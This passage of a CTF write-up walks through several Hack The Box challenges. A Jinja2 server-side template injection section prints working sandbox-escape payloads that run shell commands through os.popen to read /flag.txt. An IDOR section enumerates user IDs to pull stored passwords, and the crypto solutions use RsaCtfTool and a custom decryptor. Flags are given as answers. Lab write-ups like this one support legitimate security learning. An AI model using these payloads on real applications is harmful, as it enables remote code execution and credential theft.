My first thought when I saw all the database code was that there was an SQL injection vulnerability, so I started looking into that. The two main functions, login
and register
, appeared to sanitize inputs properly, so I decided to register a user and get a better feel for the application.
Once I was in as my new user, I could see that the only page that has been implemented is the dashboard, which has a way to edit the subscription template for emails outbound to new users. I did see a place where the server actually reads a file, which could be an LFI vulnerability:
@api.route('/subscribe-template')
@isAuthenticated
def subscribeTemplate():
templateFile = os.path.join(app.root_path, 'mail', 'subscribe.html')
with open(templateFile, 'r') as file:
template = file.read()
return response(template)
But no part of the code allowed for user input, the path was static, so we can't use it. The actual code that is responsible for executing all the SQL queries is:
def queryDB(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
But unfortunately there is no place where the user is able to view data returned from queries, so even though that function is theoretically vulnerable to SQL injections, we can't use it. We do know that the flag is actually a file at /flag.txt
though, so SQL shouldn't be our focus, we should focus on gaining RCE or LFI.
One interesting thought is using /api/subscribe-template/save
to write to subscribe.html
, then seeing the new contents via a call to /api/subscribe-template
; however, I can't think of a way to get the contents of /flag.txt
to write them to the HTML file in the first place, so this is likely a dead end.
Looking at the code for the /api/subscribe-template/preview
route, I see a vulnerable-looking render_template_string
call that could be used for things like XSS. But the server sets the CONFIRM_LINK
variable, meaning we can't use that as an attacker to possibly execute Python code via SSTI. And since it isn't a call to render_template
I can't use it to actually read a file, so this doesn't help us.
I decided to start small with templating stuff, since that's the only place I can possibly think of where the vulnerability would be. Turns out, when I use {{2 + 2}}
in the template code, the output includes 4
! I then tried the easy payload of {{open("/flag.txt")}}
to see if that would give us the answer, but no such luck; the Jinja2 sandbox apparently restricts access to dangerous functions like that.
I tried crafting a creative sandbox escape that involved manipulating Python objects to gain access to higher-level functions like open
, like I had to do in dicectf (Private), via the following:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read() }}
This payload was supposed to work by taking the string object (''
), retrieving its class via .__class__
, getting the base object class through .__mro__[2]
, listing all its subclasses with .__subclasses__()
, selecting the FileIO
class (which is usually the 40th in the list but may vary), opening the /flag.txt
file, and reading it. But unfortunately for us, this didn't work, and we got the generic pre-programmed error message response from the server of "Something Went Wrong!".
Next I tried using {{config.from_object('os')}}{{config.popen('cat /flag.txt').read()}}
, which was supposed to load the OS module via Flask's config.from_object
method, but this one was denied as well. When that didn't work, I tried a different approach via Flask's request
object:
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}
This payload works by accessing the global scope through the request.application.__globals__
attribute and then using the __builtins__
to call the __import__
function. This is used to import the os module, and then we call os.popen to execute the command cat /flag.txt
which reads the content of the flag file. And this one worked!
Answer: HTB{t3mpl4t35_c4n_vuln3r4bl3!!!}
; 825 points
MaxPass Manager
You've been tasked with a pentesting engagement on a password manager platform, they've provided you with a mockup build of the website and they've asked you to find a way to login as "admin".
Whenever I initially created an account to get a feel for the site, this is the screen I was greeted with:
I started by uploading the package.json
to snyk to check if any of the packages were vulnerable, but there wasn't any low-hanging fruit there. I saw that when a user first logs in, a request is made with their UUID to get a list of their passwords from the server (/api/passwords/${user_uuid}
). Whenever I checked my network logs to see where my request went out to, it indicated that my UUID is 144
.
I tried visiting that URL in an incognito window to test if the server was checking for JWT authentication or not, and the request was successful! This means that if I can guess the UUID for the admin user, I can theoretically get access to their passwords, and password reuse might allow me to login to the site with one of them. First thing I tried was decrementing by one by visiting 143:
{"passwords":[{"id":6,"uuid":143,"type":"App","address":"Netflix","username":"alvinfisher1979","password":"efQKL2pJAWDM46L7","note":"Family Netflix"},{"id":7,"uuid":143,"type":"Web","address":"twitter.com","username":"alvinfisher1979","password":"7wYz9pbbaH3S64LG","note":"old twitter account"},{"id":8,"uuid":143,"type":"Email","address":"outlook.com","username":"alvinfisher1979@outlook.com","password":"jJGYu4j8tYakBY9u","note":"work mail"}]}
I tried the same thing with 142 and determined that every UUID likely had dummy user data, because that was more of the same:
{"passwords":[{"id":4,"uuid":142,"type":"Web","address":"office365.com","username":"ninaviola1","password":"OfficeSpace##1","note":"company email"},{"id":5,"uuid":142,"type":"Web","address":"facebook.com","username":"ninaviola91","password":"19911991#10","note":"throwaway fb"}]}
Opening up the DB file they provided shows us that the admin is UUID 73:
So we can navigate to the web page and get their password:
{"passwords":[{"id":1,"uuid":73,"type":"Web","address":"maxpass-manager.infra","username":"admin","password":"RV2pGXQBf8eGlHF","note":"pre-prod test password"}]}
Answer: HTB{ID0R_PWN4G3!!}
; 800 points
dInvoice
Our newest web service, "dInvoice", needs an inspection from you to unveil any critical vulnerabilities it might have that can lead to the compromise of the admin account!
pwn
shellbox
How many opcodes can you fit in such a tiny box?
Crypto
Weak RSA
A rogue employe managed to steal a file from his work computer, he encrypted the file with RSA before he got apprehended. We only managed to recover the public key, can you help us decrypt this ciphertext?
This was a perfect use case for RsaCtfTool:
git clone https://github.com/RsaCtfTool/RsaCtfTool.git
sudo apt-get install libgmp3-dev libmpc-dev
cd RsaCtfTool
pip3 install -r "requirements.txt"
./RsaCtfTool.py --publickey ./pubkey.pem --uncipherfile ./flag.enc
Answer: HTB{b16_e_5m4ll_d_3qu4l5_w31n3r_4774ck}
; 125 points
Secret Package
The enemy has shipped a package we must intercept but we are unaware of the drop location. They use custom encryption to communicate so we can't read the messages we were able to intercept. Can you help us?
I was able to use ChatGPT to create a decryption program to get the flag:
def decryption(ct):
msg = []
for char in ct:
msg.append((inv_mod(123, 256) * (char - 18)) % 256)
return bytes(msg).decode()
def inv_mod(a, m):
# Extended Euclidean Algorithm to find the modular inverse
m0, x0, x1 = m, 0, 1
while a > 1:
q = a // m
m, a = a % m, m
x0, x1 = x1 - q * x0, x0
return x1 if x1 >= 0 else x1 + m0
ct_hex = open('./msg.enc', 'r').read()
ct = bytes.fromhex(ct_hex)
MSG = decryption(ct)
print(MSG)
This is the message:
Package on route. ETA 2 days. Location B Passcode: HTB{cu570m_3nc2yp710n_15_m34n7_70_83_820k3n!@}
Answer: HTB{cu570m_3nc2yp710n_15_m34n7_70_83_820k3n!@}
; 550 points